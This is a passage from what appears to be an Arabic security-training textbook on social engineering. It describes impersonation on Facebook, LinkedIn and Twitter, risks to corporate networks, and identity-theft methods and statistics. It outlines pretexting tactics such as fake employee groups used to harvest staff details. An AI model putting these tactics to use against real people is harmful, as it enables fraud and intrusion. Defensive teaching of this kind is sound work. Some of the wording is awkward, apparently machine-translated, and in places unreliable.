‫ﺣﯾل اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺗوﻓر اﻟﻣﻌﻠوﻣﺎت اﻟﺳرﯾﺔ اﻟﺗﻲ ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ ﻻﻗﺗﺣﺎم ﺷﺑﻛﺔ اﻟﺷرﻛﺔ‪ .‬ﯾﻌﻣل ﻋﻠﻰ اﻟﻔرد اﻟذﯾن ﻟدﯾﮭم ﺑﻌض اﻟﺣﻘوق ﻓﻲ‬
‫أن ﯾﻔﻌل ﺷﯾﺋﺎ أو ﯾﻌرف ﺷﯾﺋﺎ ﻣﮭﻣﺎ‪ .‬أﺳﺎﻟﯾب اﻟﺗدرﯾس ﺷﯾوﻋﺎ اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ اﻟﻣﮭﺎﺟم ﻟﻠﺣﺻول ﻋﻠﻰ ﻣﻌﻠوﻣﺎت ﺣﺳﺎﺳﺔ واﻻﺳﺗراﺗﯾﺟﯾﺎت اﻟوﻗﺎﺋﯾﺔ‬
‫اﻟﺗﻲ ﯾﻣﻛن اﻋﺗﻣﺎدھﺎ وﺗﻧﺎﻗش ﻋﻠﻰ اﻟﻧﺣو اﻟﺗﺎﻟﻲ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪982‬‬

‫‪ 9.4‬اﻧﺘﺤﺎل‪/‬ﺗﺰﯾﻒ ﻣﻮاﻗﻊ اﻟﺸﺒﻜﺎت اﻻﺟﺘﻤﺎﻋﯿﺔ )‪(IMPERSONATION ON SOCIAL NETWORKING SITES‬‬

‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻣن ﺧﻼل اﻧﺗﺣﺎل ﻣواﻗﻊ اﻟﺷﺑﻛﺎت اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﯾؤﺧذ اﻟﺗﻣﺛﯾل إﻟﻰ ﻣﺳﺗوى أﻋﻠﻰ ﻋن طرﯾﻖ اﻓﺗراض ھوﯾﺔ ﻣوظف ﻣﮭم ﻣن‬
‫أﺟل إﺿﺎﻓﺔ ﻋﻧﺻر اﻟﺗرھﯾب‪ .‬ﻋﺎﻣل اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل أﯾﺿﺎ ﯾﻠﻌب دورا ﻓﻲ ھذا اﻟﺳﯾﻧﺎرﯾو‪ ،‬ﺣﯾث اﻟﻣوظﻔﯾن اﻟﻣﺳﺗوى اﻷدﻧﻰ ﻗد ﺗﺧرج ﻋن‬
‫طرﯾﻘﮭم ﻟﻣﺳﺎﻋدة اﻟﻣوظﻔﯾن ذات اﻟﻣﺳﺗوى اﻷﻋﻠﻰ‪ ،‬ﺑﺣﯾث ﯾﺻل ﺻﺎﻟﺣﮭم اﻻھﺗﻣﺎم اﻹﯾﺟﺎﺑﻲ اﻟﻼزم ﻟﻠﻣﺳﺎﻋدة ﻓﻲ ﺑﯾﺋﺔ اﻟﺷرﻛﺎت‪ .‬اﻟﻣﯾل اﻟﺳﻠوﻛﻲ‬
‫اﻵﺧر اﻟذي ﯾﺳﺎﻋد ﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ھو ﻣﯾل اﻟﻧﺎس ﻟﻼﺳﺗﺟواب ﻣن ﻗﺑل اﻟﺳﻠطﺔ‪ .‬ﯾﻣﻛن ﻟﻠﻣﮭﺎﺟم أن ﯾﺗظﺎھر ﺑﺄﻧﮫ ﻓرد ﻣﮭم ﻣﺛل ﻧﺎﺋب اﻟرﺋﯾس‬
‫أو اﻟﻣدﯾر ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﻟﻠﺗﻼﻋب ﺑﻣوظف ﻏﯾر ﻣﺳﺗﻌد‪ .‬ھذه اﻟﺗﻘﻧﯾﺔ ﺗﻔﺗرض أھﻣﯾﺔ أﻛﺑر ﻋﻧدﻣﺎ ﯾﻌﺗﺑر اﻟﻣﮭﺎﺟم ﺗﺣدﯾﺎ ﻻﻧﺗﺣﺎل ﺷﺧﺻﯾﺔ ﻓﻲ‬
‫اﻟﺳﻠطﺔ‪.‬‬
‫‪ -‬ﺗﻔﺎﺻﯾل اﻟﻣﻧظﻣﺔ‪ :‬اﻟﻣﺳﺗﺧدﻣﯾن اﻟﺿﺎرﯾن ﯾﻘوﻣون ﺑﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﺳرﯾﺔ ﻣن ﻣواﻗﻊ اﻟﺷﺑﻛﺎت اﻻﺟﺗﻣﺎﻋﯾﺔ وإﻧﺷﺎء ﺣﺳﺎﺑﺎت ﺑﺄﺳﻣﺎء‬
‫اﻵﺧرﯾن‪.‬‬
‫‪ -‬اﻟﺗﻔﺎﺻﯾل اﻟﻣﮭﻧﯾﺔ‪ :‬اﻟﻣﮭﺎﺟﻣون ﯾﺳﺗﺧدﻣوا اﻟﺗﺷﻛﯾﻼت اﻷﺧرى ﻹﻧﺷﺎء ﺷﺑﻛﺎت ﻛﺑﯾرة ﻣن اﻻﺻدﻗﺎء واﺳﺗﺧراج اﻟﻣﻌﻠوﻣﺎت ﺑﺎﺳﺗﺧدام‬
‫ﺗﻘﻧﯾﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫‪ -‬ﺑﯾﺎﻧﺎت اﻻﺗﺻﺎل واﻻﺗﺻﺎﻻت‪ :‬ﯾﻣﻛن ﻟﻠﻣﮭﺎﺟﻣﯾن أﯾﺿﺎ اﺳﺗﺧدام اﻟﻣﻌﻠوﻣﺎت اﻟﻣﺟﻣﻌﺔ ﻟﺗﻧﻔﯾذ أﺷﻛﺎل أﺧرى ﻣن ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫‪ -‬ﺗﻔﺎﺻﯾل اﻟﺷﺧﺻﯾﺔ‪ :‬اﻻﻧﺗﺣﺎل ﯾﻌﻧﻲ ﺗﻘﻠﯾد أو ﻧﺳﺦ اﻟﺳﻠوك أو أﻓﻌﺎل اﻵﺧرﯾن‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪983‬‬

‫‪Social Engineering on Facebook‬‬

‫اﻟﻣﺻدر‪http://www.facebook.com :‬‬
‫اﻟﻔﯾﺳﺑوك ھو ﻣوﻗﻊ اﻟﺷﺑﻛﺎت اﻻﺟﺗﻣﺎﻋﯾﺔ ﺣﯾث ﺗرﺑط اﻟﻛﺛﯾر ﻣن اﻟﻧﺎس وﯾﻣﻛن ﻟﻛل ﺷﺧص اﻟﺗواﺻل ﻣﻊ اﻵﺧرﯾن ﻓﻲ ﺟﻣﯾﻊ أﻧﺣﺎء اﻟﻌﺎﻟم‪ .‬ﯾﺳﺗطﯾﻊ‬
‫اﻟﻧﺎس ﺗﺑﺎدل اﻟﺻور واﻟﻔﯾدﯾو‪ ،‬واﻟوﺻﻼت‪ ،‬اﻟﺦ‪ .‬اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ ﻧوع ﻣن اﻟﮭﺟوم ﺣﯾث ﯾﺣﺎول اﻟﻣﮭﺎﺟﻣون ﺗﺿﻠﯾل اﻟﮭدف ﻣن ﺧﻼل‬
‫اﻟﺗظﺎھر ﻟﯾﻛون ﺷﺧص ﻣﺎ وذﻟك ﻟﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت اﻟﺣﺳﺎﺳﺔ‪ .‬ﻓﻲ اﻻﻧﺗﺣﺎل‪ ،‬اﻟﻣﮭﺎﺟﻣﯾن ﯾﻘوﻣون ﺑﺎﺳﺗﺧدام اﻟﻔﯾﺳﺑوك ﺑﺎﺳﺗﺧدام اﻷﺳﻣﺎء اﻟﻣﺳﺗﻌﺎرة‬
‫ﺑدﻻ ﻣن اﺳﺗﺧدام أﺳﻣﺎﺋﮭم اﻟﺣﻘﯾﻘﯾﺔ‪ .‬اﻟﻣﮭﺎﺟﻣون ﯾﺳﺗﺧدﻣون اﻟﺣﺳﺎﺑﺎت اﻟوھﻣﯾﺔ‪ .‬اﻟﻣﮭﺎﺟم ﯾﺣﺎول وﯾﺳﺗﻣر ﻓﻲ إﺿﺎﻓﺔ اﻷﺻدﻗﺎء وﯾﺳﺗﺧدم ﻣﻼﻣﺢ‬
‫اﻵﺧرﯾن ﻟﻠﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت اﻟﮭﺎﻣﺔ واﻟﻘﯾﻣﺔ‪.‬‬
‫اﻟﻣﮭﺎﺟﻣﯾن ﯾﻘوﻣون ﺑﺈﻧﺷﺎء ﻣﺟﻣوﻋﺔ ﻣﺳﺗﺧدﻣﯾن وھﻣﯾﺔ ﻓﻲ اﻟﻔﯾﺳﺑوك ﯾدﻋﻰ "ﻣوظﻔﻲ" اﻟﺷرﻛﺔ اﻟﻣﺳﺗﮭدﻓﺔ ﺑﺎﺳﺗﺧدام ھوﯾﺔ ﻣزورة‪ ،‬ﺛم ﯾﻧﺗﻘل‬
‫اﻟﻣﮭﺎﺟم ﺑﺈﺿﺎﻓﺔ "ﺻدﯾﻖ"‪ ،‬أو دﻋوة اﻟﻣوظﻔﯾن إﻟﻰ ﻣﺟﻣوﻋﺔ وھﻣﯾﺔ "ﻣوظﻔﯾن اﻟﺷرﻛﺔ"‬
‫اﻟﻣﺳﺗﺧدﻣﯾن ﯾﻘوﻣون ﺑﺎﻻﻧﺿﻣﺎم إﻟﻰ اﻟﻣﺟﻣوﻋﺔ وﺗﻘدﯾم أوراق اﻋﺗﻣﺎدھم ﻣﺛل ﺗﺎرﯾﺦ اﻟوﻻدة‪ ،‬واﻟﺗﻌﻠﯾم واﻟﻌﻣل‪ ،‬وأﺳﻣﺎء اﻟزوﺟﯾن‪ ،‬اﻟﺦ‪ .‬ﺑﺎﺳﺗﺧدام‬
‫ﻣﻌﻠوﻣﺎت ﻣن أي واﺣد ﻣن اﻟﻣوظﻔﯾن‪ ،‬ﯾﻣﻛن ﻟﻠﻣﮭﺎﺟﻣﯾن ﺧرق اﻟﻣﻧﺷﺄة ﻟﻠوﺻول إﻟﻰ اﻟﻣﺑﻧﻰ‪.‬‬

‫‪Social Engineering Example: LinkedIn Profile‬‬

‫اﻟﻣﺻدر‪https://www.linkedin.com :‬‬
‫ﯾﻣﻛن ﻟﻠﻣﮭﺎﺟﻣﯾن ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﺣول اﻟﻣﻧظﻣﺔ اﻟﻣﺳﺗﮭدﻓﺔ‪ ،‬ﻟﻣﺣﺔ واﻟﺗﻔﺿﯾﻼت اﻟﺷﺧﺻﯾﺔ‪ ،‬وأﺳﻠوب اﻟﺣﯾﺎة واﻟﻌﺎدات‪ .‬ﺑﺎﺳﺗﺧدام ‪LinkedIn‬‬
‫ﻣﻌظﻣﮭم اﻟﻌﺎﻣﻠﯾن ﻓﻲ اﻟﻣﻧظﻣﺎت اﻟﻣﺧﺗﻠﻔﺔ‪ .‬ﯾﻣﻛن ﻟﻣﮭﻧدﺳﻲ اﻻﺟﺗﻣﺎﻋﻲ ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﺗﺎرﯾﺦ اﻟﻌﻣل ﻣن ﻣﻠف ﺗﻌرﯾف ‪ LinkedIn‬اﻟﮭدف‬
‫واﺳﺗﺧدام ذﻟك ﻟﻠﺗﺧطﯾط ﻟﮭﺟﻣﺎت وﺧداع اﻟﮭدف ﻓﻲ اﻟﻧﻘر ﻋﻠﻰ وﺻﻼت ﺧﺑﯾﺛﺔ‪ ،‬أو ﺗﺣﻣﯾل اﻟﺑرﻣﺟﯾﺎت اﻟﺗﻲ ﺗﺻﯾب أﺟﮭزة اﻟﻛﻣﺑﯾوﺗر اﻟﺧﺎﺻﺔ‬
‫ﺑﮭم‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪984‬‬

‫‪Social Engineering on Twitter‬‬

‫اﻟﻣﺻدر‪https://twitter.com:‬‬
‫ﺗوﯾﺗر ھﻲ ﻣدوﻧﮫ ﻣﺗﻌدد وﻣوﻗﻊ ﻟﻠﺷﺑﻛﺎت اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺗﻲ ﻟدﯾﮭﺎ ﻗﺎﻋدة ﺑﯾﺎﻧﺎت ﺿﺧﻣﺔ ﻣن اﻟﻣﺳﺗﺧدﻣﯾن اﻟﺗﻲ ﺗﻣﻛﻧك ﻣن اﻟﺗواﺻل ﻣﻊ اﻵﺧرﯾن‬
‫وﺗﺑﺎدل أﺷﯾﺎء ﻛﺛﯾرة ﻛﻣﺎ ﺗﺳﻣﻰ رﺳﺎﺋل ﺗوﯾت‪ .‬اﻟﻣﮭﺎﺟﻣﯾن ﯾﻘوﻣون ﺑﺈﻧﺷﺎء ﺣﺳﺎب ﺑﺎﺳﺗﺧدام اﺳم ﻣﺳﺗﻌﺎر ﻟﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﻋن اﻷھداف‪ .‬اﻟﻣﮭﺎﺟم‬
‫ﯾﺣﺎول وﯾﺣﺎﻓظ ﻋﻠﻰ إﺿﺎﻓﺔ اﻷﺻدﻗﺎء وﯾﺳﺗﺧدم ﻣﻼﻣﺢ اﻵﺧرﯾن ﻟﻠﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت اﻟﮭﺎﻣﺔ واﻟﻘﯾﻣﺔ‪.‬‬

‫ﻣﺨﺎطﺮ اﻟﺸﺒﻜﺎت اﻻﺟﺘﻤﺎﻋﯿﺔ ﻟﺸﺒﻜﺎت اﻟﺸﺮﻛﺎت‬

‫اﻟﺷرﻛﺔ ﯾﺟب أن ﺗﺄﺧذ طرﯾﻘﺔ آﻣﻧﺔ ﻟوﺿﻊ اﻟﺑﯾﺎﻧﺎت اﻟﺧﺎﺻﺔ ﺑﮭﺎ ﻋﻠﻰ ﻣوﻗﻊ اﻟﺗواﺻل اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬أو ﻟﺗﻌزﯾز ﻗدرﺗﮭﺎ ﻗﻧوات أو ﻣﺟﻣوﻋﺗﮭﺎ أو‬
‫اﻟﺷﺧﺻﯾﺔ‪ .‬ﯾﺟب أن ﯾﻛون ﻣﺳﺗﺧدﻣون اﻟﻘطﺎع اﻟﺧﺎص واﻟﺷرﻛﺎت ﻋﻠﻰ ﺑﯾﻧﺔ ﻣن اﻟﻣﺧﺎطر اﻷﻣﻧﯾﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ أو اﻟﺗﻘﻧﯾﺔ اﻟﺗﺎﻟﯾﺔ‪ .‬وھم‪:‬‬
‫‪ -‬ﺳرﻗﺔ اﻟﺑﯾﺎﻧﺎت‪ :‬ﻓﻲ اﻟﻐﺎﻟب ﯾﺗم ھذا اﻟﻧوع ﻣن اﻟﮭﺟوم ﻋﻠﻰ ﻣواﻗﻊ اﻟﺷﺑﻛﺎت اﻻﺟﺗﻣﺎﻋﯾﺔ ﻷﻧﮫ ﯾﺣﺗوي ﻋﻠﻰ ﻗﺎﻋدة ﺑﯾﺎﻧﺎت ﺿﺧﻣﺔ واﻟﺗﻲ‬
‫ﯾﻣﻛن اﻟوﺻول إﻟﯾﮭﺎ ﻣن ﻗﺑل اﻟﻌدﯾد ﻣن اﻟﻣﺳﺗﺧدﻣﯾن واﻟﺟﻣﺎﻋﺎت ﺣﺗﻰ ﻻ ﯾﻛون ھﻧﺎك ﺧطر ﺳرﻗﺔ اﻟﺑﯾﺎﻧﺎت‪.‬‬
‫‪ -‬ﺗﺳرﯾب اﻟﺑﯾﺎﻧﺎت ﻻإرادﯾﺎ‪ :‬ﯾﻣﻛن إطﻼﻗﮭﺎ اﻟﮭﺟﻣﺎت اﻟﻣﺳﺗﮭدﻓﺔ ﻋﻠﻰ اﻟﻣواﻗﻊ اﻟﺗﻧظﯾﻣﯾﺔ ﻣن اﻟﺗﻔﺎﺻﯾل اﻟواردة ﻋﻠﻰ ﻣواﻗﻊ اﻟﺗواﺻل‬
‫اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬
‫‪ -‬اﻟﮭﺟﻣﺎت اﻟﻣﺳﺗﮭدﻓﺔ‪ :‬اﻟﻣﻌﻠوﻣﺎت ﻋن ﻣواﻗﻊ اﻟﺷﺑﻛﺎت اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﻣﻛن أن ﺗﺳﺗﺧدم اﻻﺳﺗطﻼع اﻷوﻟﻲ‪ ،‬وﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﻋن ﺣﺟم‬
‫وھﯾﻛل‪ ،‬ودرﺟﺔ وأﻛﺛر ﻣن ذﻟك‪ ،‬ﻟﮭﺟوم أﻛﺛر ﺗﻌﻣﻘﺎ ﻋﻠﻰ اﻟﺷرﻛﺔ‪.‬‬
‫‪ -‬ﺿﻌف اﻟﺷﺑﻛﺔ‪ :‬ﺟﻣﯾﻊ ﻣواﻗﻊ اﻟﺷﺑﻛﺎت اﻻﺟﺗﻣﺎﻋﯾﺔ ﻋرﺿﺔ ﻟﻠﻌﯾوب واﻷﺧطﺎء‪ ،‬ﺳواء ﻛﺎﻧت ﺗﺗﻌﻠﻖ ﺑﻘﺿﺎﯾﺎ اﻟﺗﺳﺟﯾل‪ ،‬اﻟﺑراﻣﺞ اﻟﻧﺻﯾﺔ‬
‫ﻋﺑر اﻟﻣواﻗﻊ اﻟﻣﺣﺗﻣﻠﺔ‪ ،‬أو ﻧﻘﺎط ﺿﻌف ﺟﺎﻓﺎ اﻟﺗﻲ ﯾﻣﻛن أن ﯾﺳﺗﻐﻠﮭﺎ اﻟدﺧﻼء‪ .‬وھذا ﯾﻣﻛن ﺑدوره أن ﯾﺳﺑب اﻟﺿﻌف ﻓﻲ ﺷﺑﻛﺔ اﻟﺷرﻛﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪985‬‬

‫‪ 9.5‬ﺳﺮﻗﺔ اﻟﮭﻮﯾﺔ )‪(Identity Theft‬‬

‫ﺣﺗﻰ اﻵن‪ ،‬ﻗد ﻧﺎﻗﺷﻧﺎ ﻣﺧﺗﻠف ﻣﻔﺎھﯾم اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ وﻣﺧﺗﻠف اﻟﺗﻘﻧﯾﺎت اﻟﻣﺳﺗﺧدﻣﺔ ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬اﻵن ﺳوف ﻧﻧﺎﻗش ﺳرﻗﺔ اﻟﮭوﯾﺔ‪،‬‬
‫واﻟذي ﯾﻌﺗﺑر ﺗﮭدﯾدا ﻛﺑﯾرا ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﯾﺻف ھذا اﻟﻘﺳم ﺳرﻗﺔ اﻟﮭوﯾﺔ ﺑﺎﻟﺗﻔﺻﯾل‪.‬‬
‫إﺣﺼﺎﺋﯿﺎت ﺳﺮﻗﺔ اﻟﮭﻮﯾﺔ ‪2011‬‬
‫ﺳرﻗﺔ اﻟﮭوﯾﺔ ھﻲ ﻋﻣﻠﯾﺔ ﺳرﻗﺔ ﻣﻌﻠوﻣﺎت اﻟﮭوﯾﺔ ﻟﺷﺧص ﻣﺎ واﺳﺎءة اﺳﺗﺧدام ھذه اﻟﻣﻌﻠوﻣﺎت ﻟﺗﺣﻘﯾﻖ أھداﻓك‪ .‬ﻗد ﯾﻛون اﻟﮭدف ﻻرﺗﻛﺎب اﻟﺳرﻗﺔ‪،‬‬
‫واﻟﺟراﺋم‪ ،‬وإﻧﻔﺎق اﻟﻣﺎل‪ ،‬وھﻠم ﺟرا‪ .‬ﺳرﻗﺔ اﻟﮭوﯾﺔ ﺗﺗزاﯾد ﺑﺎطراد ﻧظرا ﻟﺧدﻣﺎت اﻟﺗﺟﺎرة اﻹﻟﻛﺗروﻧﯾﺔ اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ اﻟﻧﺎس‪ ،‬وﺧدﻣﺎت اﻻﻧﺗرﻧت‪،‬‬
‫واﻟﻣﻌﺎﻣﻼت اﻹﻟﻛﺗروﻧﯾﺔ‪ ،‬ﺗداول اﻷﺳﮭم‪ ،‬اﻟﺦ‪ .‬اﻟﺷﻛل اﻟﺗﺎﻟﻲ ﯾوﺿﺢ إﺣﺻﺎءات ﺳرﻗﺔ اﻟﮭوﯾﺔ ﻟﻌﺎم ‪:2011‬‬
‫‪ -‬وﺛﺎﺋﻖ اﻟﺣﻛوﻣﺔ ‪ /‬ﻓواﺋد اﻟﻐش ‪٪27-‬‬
‫‪ -‬ﺗزوﯾر ﺑطﺎﻗﺎت اﻻﺋﺗﻣﺎن ‪٪14-‬‬
‫‪ -‬اﻟﮭﺎﺗف أو ﻣرﻓﻘﺎت اﻻﺣﺗﯾﺎل ‪٪13-‬‬
‫‪ -‬اﻻﺣﺗﯾﺎل اﻟﻣﺻرﻓﻲ ‪٪9-‬‬
‫‪ -‬اﻻﺣﺗﯾﺎل اﻟﺗوظﯾف ‪٪8-‬‬
‫‪ -‬اﻻﺣﺗﯾﺎل اﻟﻘرض ‪٪3-‬‬

‫ﺳﺮﻗﺔ اﻟﮭﻮﯾﺔ )‪(Identity Theft‬‬

‫ﺳرﻗﺔ اﻟﮭوﯾﺔ وﺗوﻟﻰ ﻗﺎﻧون اﻟردع ﻟﻌﺎم ‪ 1998‬ﻟﺗﺣدﯾد ﺳرﻗﺔ اﻟﮭوﯾﺔ‪ ،‬ﺑﺎﻧﮫ اﺳﺗﺧدام ﻏﯾر ﻣﺷروع ﻟﺷﺧص ﻣﺎ ﻣن وﺳﯾﻠﺔ ﻟﺗﺣدﯾد اﻟﮭوﯾﺔ‪.‬‬
‫ﺳرﻗﺔ اﻟﮭوﯾﺔ ھﻲ اﻟﻣﺷﻛﻠﺔ اﻟﺗﻲ ﺗواﺟﮫ اﻟﻌدﯾد ﻣن اﻟﻣﺳﺗﮭﻠﻛﯾن اﻟﯾوم‪ .‬ﻓﻲ اﻟوﻻﯾﺎت اﻟﻣﺗﺣدة‪ ،‬ﺑﻌض ﻣﺷرﻋﻲ اﻟوﻻﯾﺔ ﻗﺎم ﺑﻔرض اﻟﻘواﻧﯾن اﻟﺗﻲ ﺗﻘﯾد‬
‫اﻟﻣوظﻔﯾن ﻣن ﻣلء أرﻗﺎم اﻟﺿﻣﺎن ))‪ (SSNs (social security N\numbers‬أﺛﻧﺎء ﻋﻣﻠﯾﺔ ﺗوظﯾﻔﮭم‪ .‬ﺳرﻗﺔ اﻟﮭوﯾﺔ ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن‬
‫ﺗﻌرض ﻓﻲ اﻟﺗﻘﺎرﯾر اﻹﺧﺑﺎرﯾﺔ‪ .‬ﺗﺣﺗﺎج اﻟﺷرﻛﺎت أﯾﺿﺎ ﻟﻠﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت اﻟﻣﻧﺎﺳﺑﺔ ﺣول ﺳرﻗﺔ اﻟﮭوﯾﺔ ﺑﺣﯾث ﻻ ﺗﺷﻛل ﺧطرا ﻋﻠﻰ‬
‫ﻣﺑﺎدرات ﻣﻛﺎﻓﺣﺔ اﻟﻐش ﺑﮭم‪ .‬ﺗﺄﻣﯾن اﻟﻣﻌﻠوﻣﺎت اﻟﺷﺧﺻﯾﺔ ﻓﻲ ﻣﻛﺎن اﻟﻌﻣل واﻟﻣﻧزل‪ ،‬واﻟﺑﺣث ﻋن ﺑطﺎﻗﺔ اﻻﺋﺗﻣﺎن طرق ﻟﺗﻘﻠﯾل ﺧطر ﺳرﻗﺔ‬
‫اﻟﮭوﯾﺔ‪.‬‬
‫ﺳرﻗﺔ اﻟﻣﻌﻠوﻣﺎت اﻟﺷﺧﺻﯾﺔ‪ :‬ﯾﺣدث ﻋﻧدﻣﺎ ﯾﻘوم ﺷﺧص ﻣﺎ ﺑﺳرﻗﺔ اﺳﻣك وﻏﯾرھﺎ ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟﺷﺧﺻﯾﺔ ﻷﻏراض اﺣﺗﯾﺎﻟﯾﺔ‪.‬‬
‫ﻓﻘدان أرﻗﺎم اﻟﺿﻣﺎن اﻻﺟﺗﻣﺎﻋﻲ‪ :‬ھﻲ ﺟرﯾﻣﺔ اﻟﺗﻲ ﯾﺣﺻل ﻓﯾﮭﺎ اﻟﻣﻧﺗﺣل ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت اﻟﺷﺧﺻﯾﺔ‪ ،‬ﻣﺛل اﻟﺿﻣﺎن اﻻﺟﺗﻣﺎﻋﻲ أو أرﻗﺎم رﺧﺻﺔ‬
‫اﻟﻘﯾﺎدة‪.‬‬
‫طرق ﺳﮭﻠﺔ‪ Cyberspace :‬ﺟﻌﻠت ﻣن اﻟﺳﮭل ﻋﻠﻰ ﻟص اﻟﮭوﯾﺔ اﺳﺗﺧدام اﻟﻣﻌﻠوﻣﺎت ﻷﻏراض اﺣﺗﯾﺎﻟﯾﺔ‪.‬‬
‫"ﺑت واﺣد ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟﺷﺧﺻﯾﺔ ھو ﻛل ﺷﺧص ﯾﺣﺗﺎج ﻟﺳرﻗﺔ ھوﯾﺗك"‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪986‬‬

‫ﻛﯿﻔﯿﺔ ﺳﺮﻗﺔ اﻟﮭﻮﯾﺔ‬

‫ﻟﺻوص اﻟﮭوﯾﺔ ﻗد ﺗﺳﺗﺧدم أﺳﺎﻟﯾب اﻹﻧﺗرﻧت اﻟﺗﻘﻠﯾدﯾﺔ ﻟﺳرﻗﺔ اﻟﮭوﯾﺔ‪.‬‬
‫اﻟطرق اﻟﻔﯾزﯾﺎﺋﯾﺔ‬
‫ﻓﯾﻣﺎ ﯾﻠﻲ اﻟطرق اﻟﻔﯾزﯾﺎﺋﯾﺔ ﻟﺳرﻗﺔ اﻟﮭوﯾﺔ‪.‬‬
‫ﺳرﻗﺔ أﺟﮭزة اﻟﻛﻣﺑﯾوﺗر‪ ،‬اﻟﻼب ﺗوب‪ ،‬ووﺳﺎﺋط اﻟﻧﺳﺦ اﻻﺣﺗﯾﺎطﻲ‬
‫اﻟﺳرﻗﺔ ھﻲ اﻟطرﯾﻘﺔ اﻟﺷﺎﺋﻌﺔ‪ .‬اﻟﻠﺻوص ﯾﻘوﻣون ﺑﺳرﻗﺔ اﻷﺟﮭزة ﻣن أﻣﺎﻛن ﻣﺛل اﻟﻔﻧﺎدق واﻷﻣﺎﻛن اﻟﺗرﻓﯾﮭﯾﺔ ﻣﺛل اﻟﻧوادي أو اﻟﻣؤﺳﺳﺎت‬
‫اﻟﺣﻛوﻣﯾﺔ‪ .‬واﻟﺗﻲ ﺗﻌطﻰ وﻗﺗﺎ ﻛﺎﻓﯾﺎ‪ ،‬ﻓﺈﻧﮭﺎ ﯾﻣﻛن اﺳﺗرداد اﻟﺑﯾﺎﻧﺎت اﻟﻘﯾﻣﺔ ﻣن ھذه اﻟوﺳﺎﺋط‪.‬‬
‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‬
‫ھذه اﻟﺗﻘﻧﯾﺔ ھﻲ ﻋﻣل ﻣن أﻋﻣﺎل اﻟﺗﻼﻋب ﺑﺛﻘﺔ اﻟﺷﻌب ﻟﺗﻧﻔﯾذ إﺟراءات ﻣﻌﯾﻧﺔ أو اﻟﻛﺷف ﻋن ﻣﻌﻠوﻣﺎت ﺧﺎﺻﺔ دون اﺳﺗﺧدام أﺳﺎﻟﯾب ﺗﻘﻧﯾﺎت‬
‫اﻟﻛﺳر‪.‬‬
‫اﻟﺗﺻﯾد )‪(Phishing‬‬
‫اﻟﻣﺣﺗﺎل ﻗد ﯾدﻋﻰ أﻧﮫ ﯾﻛون ﻣن ﻣؤﺳﺳﺔ ﻣﺎﻟﯾﺔ أو ﻣن ﻣﻧظﻣﺔ ﺳﻣﻌﺗﮭﺎ طﯾﺑﺔ وإرﺳﺎل رﺳﺎﺋل اﻟﺑرﯾد اﻟﻣزﻋﺞ أو اﻟﻣﻧﺑﺛﻘﺔ ﻟﺧداع اﻟﻣﺳﺗﺧدﻣﯾن ﻟﻠﻛﺷف‬
‫ﻋن ﻣﻌﻠوﻣﺎﺗﮭم اﻟﺷﺧﺻﯾﺔ‪.‬‬
‫ﺳرﻗﺔ اﻟﻣﻣﺗﻠﻛﺎت اﻟﺷﺧﺻﯾﺔ‬
‫اﻟﻣﺣﺎﻓظ )‪ (Wallets/purses‬ﻋﺎدة ﻣﺎ ﺗﺣﺗوي ﻋﻠﻰ ﺑطﺎﻗﺎت اﻻﺋﺗﻣﺎن اﻟﺷﺧﺻﻲ ورﺧﺻﺔ اﻟﻘﯾﺎدة‪ .‬اﻟﻣﮭﺎﺟﻣون ﻗد ﯾﺳرﻗون اﻟﻣﺗﻌﻠﻘﺎت ﻓﻲ‬
